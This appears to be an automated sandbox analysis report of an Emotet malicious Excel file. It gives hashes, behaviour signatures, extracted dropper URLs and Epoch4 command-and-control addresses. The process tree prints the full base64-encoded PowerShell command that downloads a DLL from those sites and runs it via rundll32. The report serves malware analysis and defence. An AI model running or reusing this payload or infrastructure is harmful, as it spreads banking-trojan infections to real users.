emotet | fe4d1415a1a26021e315e0e7266f73e7a3c53efd1443f37f0e8271e49cbc2b39

Analysis

max time kernel
159s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
31/01/2022, 17:03

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General

Target
tmphoreu7qq.xls
Size 134KB
Sample220131-vkryasabar
SHA256 fe4d1415a1a26021e315e0e7266f73e7a3c53efd1443f37f0e8271e49cbc2b39
MD5 b0830cd3ef843530aee30a1689da5836
SHA1 7718fa2bd74f140136afdd32a9af2d888b5deee7
SHA512 17405e97c6880f73e7cd9490091295a3d5932378c118ed86c8a8a554fc8ab2227265389bf0bfd10a79c5598522463f57bdba95608677103edce61d362ea65722
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://mytelefonist.de/wp-content/bLm8fxV2M/
exe.dropper
https://www.yeald.finance/wp-content/uploads/jqAorV83quhL23HMg/
exe.dropper
http://tattooblog.cn/wp-includes/7AvyW/
exe.dropper
http://docs-construction.com/wp-admin/jDDqg/
exe.dropper
http://sep.dfwsolar.club/hzh3v/poAgyopszuh6a1EIG/
exe.dropper
http://b-lubisi-motivational-speaker.com/wp-admin/Wf5rQabNRai/
exe.dropper
https://pmfstukm.com/wp-admin/SoenE35FXJBjVdnfME/
exe.dropper
http://sesco-ks.com/wp-content/DJkMVMU6cBr45/
exe.dropper
https://sangwin.in/magnisapiente/UzYqb1lvgq/
exe.dropper
http://actividades.laforetlanguages.com/wp-admin/OfFq/
exe.dropper
http://sbcopylive.com.br/wp-admin/hvAXqZc4DyKBzDZO/

Extracted

Family

emotet

Botnet

Epoch4

144.76.186.49:8080
160.16.102.168:80
58.227.42.236:80
158.69.222.101:443
129.232.188.93:443
207.38.84.195:8080
192.254.71.210:443
185.157.82.211:8080
81.0.236.90:443
212.237.17.99:8080
46.55.222.11:443
164.68.99.3:8080
217.182.143.207:443
195.154.133.20:443
216.158.226.206:443
212.237.5.209:443
110.232.117.186:8080
51.15.4.22:443
45.118.115.99:8080
51.38.71.0:443
209.59.138.75:7080
103.75.201.2:443
107.182.225.142:8080
45.118.135.203:7080
212.237.56.116:7080
131.100.24.231:80
159.8.59.82:8080
138.185.72.26:8080
104.251.214.46:8080
41.76.108.46:8080
203.114.109.124:443
45.176.232.124:443
178.63.25.185:443
45.142.114.231:8080
159.89.230.105:443
162.243.175.63:443
50.116.54.215:443
173.212.193.249:8080
176.104.106.96:8080
162.214.50.39:7080
79.172.212.216:8080
200.17.134.35:7080
212.24.98.99:8080
178.79.147.66:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2700	3444	cmd.exe	53

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
66	2872	powershell.exe
75	3896	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Loads dropped DLL 4 IoCs

pid	Process
3172	rundll32.exe
2884	rundll32.exe
760	rundll32.exe
3896	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Pekxlymipgo\pkyvttctwjmevbb.ywn	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3444	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2872	powershell.exe
2872	powershell.exe
3896	rundll32.exe
3896	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE
3444	EXCEL.EXE

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 2700	3444	EXCEL.EXE	63
PID 3444 wrote to memory of 2700	3444	EXCEL.EXE	63
PID 2700 wrote to memory of 1256	2700	cmd.exe	65
PID 2700 wrote to memory of 1256	2700	cmd.exe	65
PID 2700 wrote to memory of 2872	2700	cmd.exe	67
PID 2700 wrote to memory of 2872	2700	cmd.exe	67
PID 2700 wrote to memory of 3172	2700	cmd.exe	70
PID 2700 wrote to memory of 3172	2700	cmd.exe	70
PID 2700 wrote to memory of 3172	2700	cmd.exe	70
PID 3172 wrote to memory of 2884	3172	rundll32.exe	74
PID 3172 wrote to memory of 2884	3172	rundll32.exe	74
PID 3172 wrote to memory of 2884	3172	rundll32.exe	74
PID 2884 wrote to memory of 760	2884	rundll32.exe	75
PID 2884 wrote to memory of 760	2884	rundll32.exe	75
PID 2884 wrote to memory of 760	2884	rundll32.exe	75
PID 760 wrote to memory of 3896	760	rundll32.exe	76
PID 760 wrote to memory of 3896	760	rundll32.exe	76
PID 760 wrote to memory of 3896	760	rundll32.exe	76

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmphoreu7qq.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872
- - \??\c:\windows\syswow64\rundll32.exe
    c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dhSGert3
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\SysWOW64\rundll32.exe "c:\programdata\vbkwk.dll",DllRegisterServer
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pekxlymipgo\pkyvttctwjmevbb.ywn",qvTdTrIo
        5⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:760
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pekxlymipgo\pkyvttctwjmevbb.ywn",DllRegisterServer
        6⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3456

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b0cf461456b0486ed80f458e87d66907 GkRAjjGHM0u+QhwM/RuLEA.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:1832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/760-202-0x0000000004940000-0x0000000004965000-memory.dmp

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memory/2872-175-0x000001C2C2620000-0x000001C2C2642000-memory.dmp

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memory/2872-178-0x000001C2C2510000-0x000001C2C25F0000-memory.dmp

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memory/2872-179-0x000001C2C2510000-0x000001C2C25F0000-memory.dmp

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memory/2872-180-0x000001C2C2510000-0x000001C2C25F0000-memory.dmp

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memory/2884-189-0x0000000004C50000-0x0000000004C75000-memory.dmp

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memory/2884-191-0x0000000005230000-0x0000000005255000-memory.dmp

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memory/2884-200-0x0000000005790000-0x00000000057B5000-memory.dmp

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memory/2884-195-0x0000000005400000-0x0000000005425000-memory.dmp

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memory/2884-193-0x0000000005320000-0x0000000005345000-memory.dmp

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memory/3172-186-0x0000000003330000-0x0000000003355000-memory.dmp

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memory/3444-132-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-259-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-134-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-133-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-137-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp

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memory/3444-138-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp

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memory/3444-131-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-262-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-261-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-130-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3444-260-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3896-209-0x0000000005260000-0x0000000005285000-memory.dmp

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memory/3896-217-0x00000000056B0000-0x00000000056D5000-memory.dmp

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memory/3896-219-0x00000000057B0000-0x00000000057D5000-memory.dmp

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memory/3896-215-0x00000000055A0000-0x00000000055C5000-memory.dmp

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memory/3896-211-0x00000000052C0000-0x00000000052E5000-memory.dmp

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memory/3896-207-0x0000000005100000-0x0000000005125000-memory.dmp

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memory/3896-205-0x0000000004AC0000-0x0000000004AE5000-memory.dmp

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